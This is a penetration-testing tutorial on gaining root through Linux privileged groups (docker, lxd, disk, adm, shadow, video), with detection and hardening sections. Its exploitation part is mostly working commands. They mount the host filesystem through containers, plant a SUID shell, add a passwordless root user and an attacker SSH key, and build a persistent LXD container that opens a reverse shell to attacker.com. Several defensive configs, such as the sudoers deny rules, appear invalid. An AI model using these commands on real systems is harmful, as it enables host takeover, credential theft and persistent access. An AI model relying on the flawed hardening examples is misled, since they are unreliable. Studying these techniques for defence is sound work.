Skip to Content
Linux privileged groups exploitation showing Docker, LXD, and disk group abuse

Linux Privileged Groups: Abusing Group Memberships for Root Access

Exploiting privileged Linux group memberships including Docker, LXD, disk, adm, and other high-risk groups for privilege escalation and system compromise.

Feb 19, 2026
Updated Nov 22, 2026
31 min read

Introduction

Group membership is the first thing to check after sudo -l, and it gets skipped more often than SUID binaries or kernel versions. Several standard groups give access to resources that amount to root, and using them takes one or two commands.

Admins add users to docker, lxd, disk or adm to let them do one job without full root: run containers, manage disks, read logs. The side effects are rarely written down. A user in the docker group can start a container with the host's root filesystem mounted and edit any file on it as root.

It is also quiet. Nothing is being exploited. The user runs docker run or lxc exec, which is what the group is for, so monitoring that looks for exploits sees normal activity, and the logs show an authorised user using an authorised tool.

docker group means root

Adding a user to the docker group gives them root on the host. They can mount / into a container and read or change anything on it as root. Treat docker (and lxd) membership the way you would treat a NOPASSWD: ALL sudo rule.

Technical background

How Linux checks group permissions

Linux discretionary access control uses UIDs, GIDs and permission bits. Each process has a real and effective UID and GID plus a list of supplementary groups. On access the kernel checks, in order:

  1. The owner bits, if the process's effective UID owns the file
  2. The group bits, if the effective GID or any supplementary GID matches the file's group
  3. The other bits, if neither matches

The risk comes from groups that own privileged resources: the Docker socket, raw disk devices, log files, /etc/shadow.

Evaluation flow:

Process attempting access
         ↓
Check if UID = File Owner UID
         ↓ YES → Use Owner Permissions
         ↓ NO
Check if GID (or any supplementary GID) = File Group GID
         ↓ YES → Use Group Permissions
         ↓ NO
Use Other Permissions

High-risk groups

GroupRiskWhat it grantsDifficulty
dockerCRITICALContainer creation with host filesystem accessEasy
lxd/lxcCRITICALPrivileged container creationEasy
diskCRITICALRaw device access to all storageMedium
sudoCRITICALExecute commands as any userTrivial
admHIGHRead all system logsEasy
shadowHIGHRead /etc/shadow password hashesTrivial
rootCRITICALSupplementary root group accessVaries
videoMEDIUMAccess to framebuffer and GPUMedium
plugdevMEDIUMAccess to removable devicesMedium
staffLOW-HIGHVaries by system configurationVaries
kmemCRITICALKernel memory accessHard
sysHIGHSystem device accessMedium
ttyMEDIUMTerminal device accessMedium
kvmHIGHVirtual machine managementMedium
libvirtHIGHHypervisor managementMedium
vboxusersHIGHVirtualBox VM managementMedium

Why these groups are dangerous

The docker and lxd groups let a user start containers through a daemon that runs as root. The container can be privileged, mount the host filesystem and share the host network, so the user gets root on the host with a single command.

The disk group gives raw access to block devices such as /dev/sda and /dev/nvme0n1. Reading the device directly skips file permissions entirely, so you can read /etc/shadow and SSH keys, and with care write to /etc/passwd.

The adm group can read most of /var/log. That is read-only, but logs regularly hold credentials, tokens, session IDs and stack traces with internal details.

The shadow group can read /etc/shadow, so you can crack the hashes offline. Strong algorithms such as yescrypt or bcrypt slow that down, but there is no lockout or rate limit offline, and weak passwords still fall.

Enumeration

Group memberships

Check your own groups

# Display current user's groups
id

# Output interpretation
# uid=1000(user) gid=1000(user) groups=1000(user),4(adm),27(sudo),999(docker)
#                                                    ↑     ↑       ↑
#                                                   adm   sudo   docker

# Get detailed group information
groups

# Show numeric GIDs
id -G

# Show group names
id -Gn

# Check specific group membership
getent group docker | grep $(whoami)

Enumerate all privileged groups

# List all groups on system
cat /etc/group

# Find which users are in privileged groups
for group in docker lxd disk sudo adm shadow root video; do
    echo "=== Group: $group ==="
    getent group $group
done

# Alternative method showing group members
grep -E '^(docker|lxd|disk|sudo|adm|shadow|root):' /etc/group

# Find all groups you're a member of across the system
cat /etc/group | grep $(whoami)

Find uncommon privileged groups

# Find groups with single-digit GIDs (usually system groups)
awk -F: '$3 < 100 {print $1,$3}' /etc/group

# Find groups with access to sensitive files
find / -type f \( -name "shadow" -o -name "sudoers" -o -name "id_rsa" \) \
  -exec ls -l {} \; 2>/dev/null

# Identify groups that own SUID binaries
find / -perm -4000 -exec ls -l {} \; 2>/dev/null | awk '{print $4}' | sort -u

Enumeration script

#!/bin/bash
# privileged_groups_enum.sh - Comprehensive group privilege enumeration

echo "[*] Privileged Group Enumeration Script"
echo ""

# Current user groups
echo "[+] Current user groups:"
id
echo ""

# Check for high-risk group memberships
DANGEROUS_GROUPS=("docker" "lxd" "lxc" "disk" "sudo" "adm" "shadow" "root"
                  "video" "kmem" "sys" "kvm" "libvirt" "vboxusers" "staff")

echo "[+] Dangerous group memberships for current user:"
FOUND=0
for group in "${DANGEROUS_GROUPS[@]}"; do
    if getent group "$group" 2>/dev/null | grep -q "\b$(whoami)\b"; then
        echo "    [!] Member of: $group"
        FOUND=1
    fi
done

if [ $FOUND -eq 0 ]; then
    echo "    [-] No dangerous groups found"
fi
echo ""

# List all users in dangerous groups
echo "[+] All users in dangerous groups:"
for group in "${DANGEROUS_GROUPS[@]}"; do
    MEMBERS=$(getent group "$group" 2>/dev/null | cut -d: -f4)
    if [ -n "$MEMBERS" ]; then
        echo "    $group: $MEMBERS"
    fi
done
echo ""

# Check writable directories owned by privileged groups
echo "[+] Writable directories owned by privileged groups:"
find / -type d -writable 2>/dev/null | while read dir; do
    GROUP=$(stat -c '%G' "$dir" 2>/dev/null)
    if [[ " ${DANGEROUS_GROUPS[*]} " =~ " ${GROUP} " ]]; then
        echo "    $dir (owned by $GROUP)"
    fi
done
echo ""

# Check for group-writable SUID binaries
echo "[+] Group-writable SUID binaries:"
find / -perm -4020 -type f -exec ls -l {} \; 2>/dev/null
echo ""

# Check sudo capabilities
echo "[+] Sudo capabilities:"
sudo -l 2>/dev/null || echo "    [-] Cannot check sudo permissions"
echo ""

# Check for container runtimes
echo "[+] Container runtime detection:"
which docker &>/dev/null && echo "    [+] Docker installed"
which lxc &>/dev/null && echo "    [+] LXC installed"
which lxd &>/dev/null && echo "    [+] LXD installed"
which podman &>/dev/null && echo "    [+] Podman installed"
echo ""

echo "[*] Enumeration complete"

Exploitation

docker group

The docker group is the most direct path to root. Members can talk to the Docker daemon, which runs as root and will mount any host path into a container.

Root shell through a host mount:

# Verify docker group membership
id | grep docker

# Method 1: Mount root filesystem
docker run -v /:/hostfs -it ubuntu /bin/bash

# Inside container
cd /hostfs
cat etc/shadow  # Read shadow file
chroot /hostfs  # Become root on host

# Method 2: Mount specific sensitive directories
docker run -v /root:/root -v /etc:/etc -it ubuntu /bin/bash

# Read root's SSH keys
cat /root/.ssh/id_rsa

# Read shadow passwords
cat /etc/shadow

# Add new root user
echo 'attacker:$6$salt$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd

Pull sensitive files:

# Start container with host mount
docker run -v /:/hostfs -it ubuntu bash

# Inside container - copy shadow file
cp /hostfs/etc/shadow /tmp/shadow
chmod 644 /tmp/shadow

# Exit and copy from container to host
docker cp $(docker ps -lq):/tmp/shadow ./shadow

# Crack passwords offline
john --wordlist=/usr/share/wordlists/rockyou.txt shadow
hashcat -m 1800 -a 0 shadow rockyou.txt

Plant a SUID shell on the host:

# Mount host filesystem
docker run -v /:/hostfs -it ubuntu bash

# Inside container
cp /bin/bash /hostfs/tmp/rootbash
chmod 4755 /hostfs/tmp/rootbash
chmod u+s /hostfs/tmp/rootbash

# Exit container
exit

# On host - execute SUID bash
/tmp/rootbash -p
# Now running as root

lxd and lxc groups

LXD works like the Docker case: the daemon runs as root, and a member of lxd can create a privileged container with the host's root filesystem attached.

Basic LXD privilege escalation

# Verify LXD group membership
id | grep lxd

# Initialize LXD (if not already done)
lxd init
# Choose all defaults

# Method 1: Import Alpine Linux image
# On attacker machine
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
./build-alpine

# Transfer to target (alpine-v3.xx-x86_64.tar.gz)

# On target machine
lxc image import alpine-v3.xx-x86_64.tar.gz --alias alpine

# Create privileged container
lxc init alpine privesc -c security.privileged=true

# Mount host filesystem
lxc config device add privesc hostfs disk source=/ path=/mnt/root recursive=true

# Start container
lxc start privesc

# Execute shell
lxc exec privesc /bin/sh

# Inside container - now have root access to host filesystem
cd /mnt/root/root
cat .ssh/id_rsa

If the host can reach the internet, use an Ubuntu image instead:

# Launch Ubuntu container with privileged access
lxc launch ubuntu:20.04 privesc -c security.privileged=true

# Add host filesystem device
lxc config device add privesc hostfs disk source=/ path=/mnt/root recursive=true

# Access container
lxc exec privesc /bin/bash

# Navigate to host filesystem
cd /mnt/root

LXD persistence

# Create permanent backdoor container
lxc init ubuntu:20.04 backdoor -c security.privileged=true
lxc config device add backdoor hostfs disk source=/ path=/mnt/root recursive=true

# Configure auto-start
lxc config set backdoor boot.autostart true

# Add reverse shell on container start
lxc exec backdoor -- bash -c "cat > /etc/rc.local <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1 &
exit 0
EOF"

lxc exec backdoor -- chmod +x /etc/rc.local

# Start the container
lxc start backdoor

Add an SSH key:

# Access host filesystem through LXD
lxc exec privesc /bin/bash

# Add SSH key to root's authorized_keys
cd /mnt/root/root/.ssh
echo "ssh-rsa AAAAB3... attacker@kali" >> authorized_keys
chmod 600 authorized_keys

# Now can SSH as root
ssh root@target-ip

LXD without a privileged container (UID mapping)

# Even without security.privileged=true, can use UID mapping
lxc init ubuntu:20.04 mycontainer

# Configure UID mapping to map container root to host user
lxc config set mycontainer raw.idmap "both $(id -u) 0"

# Mount specific directories
lxc config device add mycontainer hostdir disk source=/home path=/mnt/home

# Start and access
lxc start mycontainer
lxc exec mycontainer /bin/bash

# Inside container, you're root (UID 0 in container namespace)
# But mapped to your host UID for file operations

disk group

The disk group can read and write block devices directly. debugfs opens the ext2/3/4 filesystem on the device and ignores file permissions. Group membership alone is not enough to mount the device: that still needs root or a user entry in /etc/fstab (see mount(8)), so everything here goes through debugfs on the block device.

# Verify disk group membership
id | grep disk

# List available block devices
ls -la /dev/sd* /dev/nvme*
lsblk

# Method 1: Direct device reading with debugfs
debugfs /dev/sda1

# Inside debugfs
debugfs: cat /etc/shadow
debugfs: cat /root/.ssh/id_rsa
debugfs: quit

# Method 2: Run single debugfs requests and save the output
debugfs -R 'cat /etc/shadow' /dev/sda1 > /tmp/shadow
debugfs -R 'dump /root/.ssh/id_rsa /tmp/id_rsa' /dev/sda1

Dump all of /etc/shadow:

# Read shadow straight off the block device
debugfs -R 'cat /etc/shadow' /dev/sda1 > /tmp/shadow

# Or copy the partition and work on the image offline (debugfs opens image files too)
dd if=/dev/sda1 of=/tmp/disk.img bs=4M
debugfs -R 'cat /etc/shadow' /tmp/disk.img > /tmp/shadow
rm /tmp/disk.img

# Crack passwords
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/shadow

Modify files directly:

# Pull the current passwd file and add a backdoor user to the copy
debugfs -R 'dump /etc/passwd /tmp/passwd' /dev/sda1
echo 'backdoor::0:0:root:/root:/bin/bash' >> /tmp/passwd

# Open the device read-write and replace the file
# (DANGEROUS on a mounted filesystem: it can corrupt it, and the kernel may keep serving its cached copy)
debugfs -w /dev/sda1
debugfs: rm /etc/passwd
debugfs: write /tmp/passwd /etc/passwd
debugfs: quit

adm group

The adm group can read most log files. Search them for credentials and tokens.

# Verify adm group membership
id | grep adm

# Search for credentials in logs
grep -ri "password\|passwd" /var/log/ 2>/dev/null
grep -ri "api.*key\|secret" /var/log/ 2>/dev/null
grep -ri "token" /var/log/ 2>/dev/null

# Find database credentials
grep -ri "mysql\|postgres\|mongodb" /var/log/ 2>/dev/null

# Search authentication logs
cat /var/log/auth.log | grep -i "password\|failed\|accepted"

# Find sudo usage
grep -i "sudo" /var/log/auth.log | tail -20

# Extract user activities
cat /var/log/syslog | grep "session opened"

# Find clear-text passwords in application logs
find /var/log -type f -exec grep -i "pass=" {} \; 2>/dev/null

A script to mine the logs:

#!/bin/bash
# log_miner.sh - Extract sensitive information from logs

OUTFILE="/tmp/log_findings.txt"
echo "[*] Mining logs for sensitive information..." > $OUTFILE

# Search patterns
PATTERNS=(
    "password[[:space:]]*="
    "passwd[[:space:]]*="
    "api_key"
    "api-key"
    "apikey"
    "secret[[:space:]]*="
    "token[[:space:]]*="
    "access_token"
    "mysql.*password"
    "postgres.*password"
    "mongodb.*password"
)

# Search all logs
for pattern in "${PATTERNS[@]}"; do
    echo "=== Pattern: $pattern ===" >> $OUTFILE
    grep -rEi "$pattern" /var/log/ 2>/dev/null >> $OUTFILE
done

# Search for SSH keys in logs
echo "=== SSH Keys ===" >> $OUTFILE
grep -r "BEGIN.*PRIVATE KEY" /var/log/ 2>/dev/null >> $OUTFILE

# Search for authentication failures (enumerate valid users)
echo "=== Valid Usernames ===" >> $OUTFILE
grep "Failed password" /var/log/auth.log 2>/dev/null | \
    awk '{print $(NF-5)}' | sort -u >> $OUTFILE

cat $OUTFILE

shadow group

Members can read /etc/shadow directly:

# Verify shadow group membership
id | grep shadow

# Read shadow file
cat /etc/shadow

# Extract user hashes
cat /etc/shadow | grep -v '*' | grep -v '!'

# Copy for offline cracking
cp /etc/shadow /tmp/shadow
chmod 644 /tmp/shadow

# Crack with John
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/shadow

# Crack with Hashcat
hashcat -m 1800 -a 0 /tmp/shadow rockyou.txt

video group

The video group can read the framebuffer, which means screenshots of whatever is on the console:

# Verify video group membership
id | grep video

# Capture screen
cat /dev/fb0 > /tmp/screen.raw

# Convert to viewable format (requires ffmpeg)
ffmpeg -f rawvideo -pix_fmt rgb565 -s 1920x1080 \
    -i /tmp/screen.raw /tmp/screen.png

# Or use existing tools
apt-get install scrot
scrot /tmp/screenshot.png

Detection and monitoring

Audit group membership changes

# Monitor group file changes
auditctl -w /etc/group -p wa -k group_changes
auditctl -w /etc/gshadow -p wa -k group_changes

# Monitor usermod command
auditctl -a always,exit -F path=/usr/sbin/usermod -F perm=x -k user_modification

# Monitor gpasswd command
auditctl -a always,exit -F path=/usr/bin/gpasswd -F perm=x -k group_modification

Monitor privileged group usage

# Create monitoring script
cat > /usr/local/bin/monitor_groups.sh <<'EOF'
#!/bin/bash

LOGFILE="/var/log/privileged_group_monitor.log"
GROUPS=("docker" "lxd" "disk" "sudo")

# Check for new users in privileged groups
for group in "${GROUPS[@]}"; do
    CURRENT=$(getent group "$group" | cut -d: -f4)
    BASELINE=$(cat /var/lib/group_baseline/$group 2>/dev/null)

    if [ "$CURRENT" != "$BASELINE" ]; then
        echo "$(date): Group $group changed from '$BASELINE' to '$CURRENT'" >> $LOGFILE
        logger -t group_monitor "ALERT: Group $group membership changed"

        # Update baseline
        echo "$CURRENT" > /var/lib/group_baseline/$group
    fi
done
EOF

chmod +x /usr/local/bin/monitor_groups.sh

# Create baseline directory
mkdir -p /var/lib/group_baseline

# Initialize baselines
for group in docker lxd disk sudo; do
    getent group "$group" | cut -d: -f4 > /var/lib/group_baseline/$group
done

# Schedule regular checks
echo "*/5 * * * * root /usr/local/bin/monitor_groups.sh" >> /etc/crontab

Detect container abuse

# Monitor Docker commands
auditctl -w /var/run/docker.sock -p rw -k docker_socket_access
auditctl -a always,exit -F path=/usr/bin/docker -F perm=x -k docker_execution

# Monitor LXD usage
auditctl -a always,exit -F path=/usr/bin/lxc -F perm=x -k lxc_execution

# Alert on privileged container creation
# Parse docker logs
tail -f /var/log/syslog | grep --line-buffered "docker run.*--privileged" | \
while read line; do
    logger -t security_alert "PRIVILEGED CONTAINER DETECTED: $line"
done &

Log queries

# Find docker privileged container starts
journalctl -u docker | grep "privileged"

# Find LXD privileged containers
lxc list | grep -i "privileged"

# Check for host filesystem mounts in containers
docker inspect $(docker ps -q) | grep -i "\"Source\": \"/\""

# Find disk group usage
ausearch -k disk_access | aureport -f

Mitigation

Remove unnecessary group memberships

Audit current memberships

# List all members of dangerous groups
for group in docker lxd disk sudo adm shadow video; do
    echo "=== $group ==="
    getent group $group
done

# Remove user from group
gpasswd -d username docker
gpasswd -d username lxd

# Verify removal
id username

Apply least privilege

# Instead of adding to docker group, use sudo with restrictions
cat > /etc/sudoers.d/docker-restricted <<'EOF'
# Allow specific users to run specific docker commands
developer ALL=(ALL) NOPASSWD: /usr/bin/docker ps
developer ALL=(ALL) NOPASSWD: /usr/bin/docker logs *
developer ALL=(ALL) NOPASSWD: /usr/bin/docker exec -it * /bin/bash

# Deny dangerous operations
developer ALL=(ALL) !NOPASSWD: /usr/bin/docker run * --privileged *
developer ALL=(ALL) !NOPASSWD: /usr/bin/docker run * -v / *
EOF

chmod 440 /etc/sudoers.d/docker-restricted

Use Docker rootless mode

# Install rootless Docker
curl -fsSL https://get.docker.com/rootless | sh

# Configure user namespace remapping
echo "$(whoami):100000:65536" | sudo tee /etc/subuid
echo "$(whoami):100000:65536" | sudo tee /etc/subgid

# Enable and start rootless docker
systemctl --user enable docker
systemctl --user start docker

# Verify rootless mode
docker context use rootless
docker info | grep -i rootless

Harden the container runtime

# Configure Docker daemon with security options
cat > /etc/docker/daemon.json <<'EOF'
{
  "userns-remap": "default",
  "no-new-privileges": true,
  "seccomp-profile": "/etc/docker/seccomp-default.json",
  "apparmor-profile": "docker-default"
}
EOF

# Restart Docker
systemctl restart docker

# For LXD, enforce unprivileged containers by default
cat > /etc/lxd/lxd.conf <<'EOF'
security.privileged: false
security.nesting: false
EOF

AppArmor and SELinux profiles

# Create Docker AppArmor profile
cat > /etc/apparmor.d/docker-restricted <<'EOF'
#include <tunables/global>

profile docker-restricted flags=(attach_disconnected,mediate_deleted) {
  #include <abstractions/base>

  # Deny mount of host root
  deny mount / -> /,
  deny mount /** -> /,

  # Deny privileged operations
  deny capability sys_admin,
  deny capability sys_module,
  deny capability dac_override,
}
EOF

# Load profile
apparmor_parser -r /etc/apparmor.d/docker-restricted

# Apply to containers
docker run --security-opt apparmor=docker-restricted ...

Monitoring and alerting

# Set up real-time alerts for group changes
cat > /etc/audit/rules.d/90-group-monitoring.rules <<'EOF'
# Monitor group file modifications
-w /etc/group -p wa -k group_modification
-w /etc/gshadow -p wa -k group_modification

# Monitor commands that modify groups
-w /usr/sbin/usermod -p x -k user_group_modification
-w /usr/sbin/groupmod -p x -k group_modification
-w /usr/bin/gpasswd -p x -k group_password_modification

# Monitor privileged group usage
-a always,exit -F auid>=1000 -F auid!=4294967295 -F gid=docker -S execve -k docker_usage
-a always,exit -F auid>=1000 -F auid!=4294967295 -F gid=lxd -S execve -k lxd_usage
EOF

# Reload audit rules
augenrules --load

# Create alert handler
cat > /usr/local/bin/audit_alert.sh <<'EOF'
#!/bin/bash
# Monitor audit log and send alerts

tail -f /var/log/audit/audit.log | while read line; do
    if echo "$line" | grep -q "group_modification"; then
        echo "ALERT: Group modification detected: $line" | \
            mail -s "Security Alert: Group Modification" security@company.com
    fi
done
EOF

chmod +x /usr/local/bin/audit_alert.sh

# Run as service
systemctl enable audit-alert
systemctl start audit-alert

Defensive checklist

  • Review privileged group memberships at least quarterly
  • Record why each user is in each privileged group
  • Remove default group memberships from new accounts
  • Prefer narrow sudo rules over privileged groups
  • Run containers rootless where you can
  • Enable user namespace remapping for containers
  • Monitor /etc/group and /etc/gshadow with auditd
  • Alert in the SIEM when members of these groups use them

Alternatives

Instead of the docker group:

  • Use Docker rootless mode
  • Use Podman (rootless by default)
  • Implement sudo with command restrictions
  • Use Kubernetes RBAC for container orchestration

Instead of the lxd group:

  • Use unprivileged containers exclusively
  • Implement user namespace mapping
  • Use alternative container runtimes with better isolation

Instead of the disk group:

  • Do not grant disk membership for routine operations
  • Use sudo with specific device access
  • Implement filesystem ACLs for fine-grained control

References

MITRE ATT&CK techniques

Linux documentation

Other resources

Next steps

On this page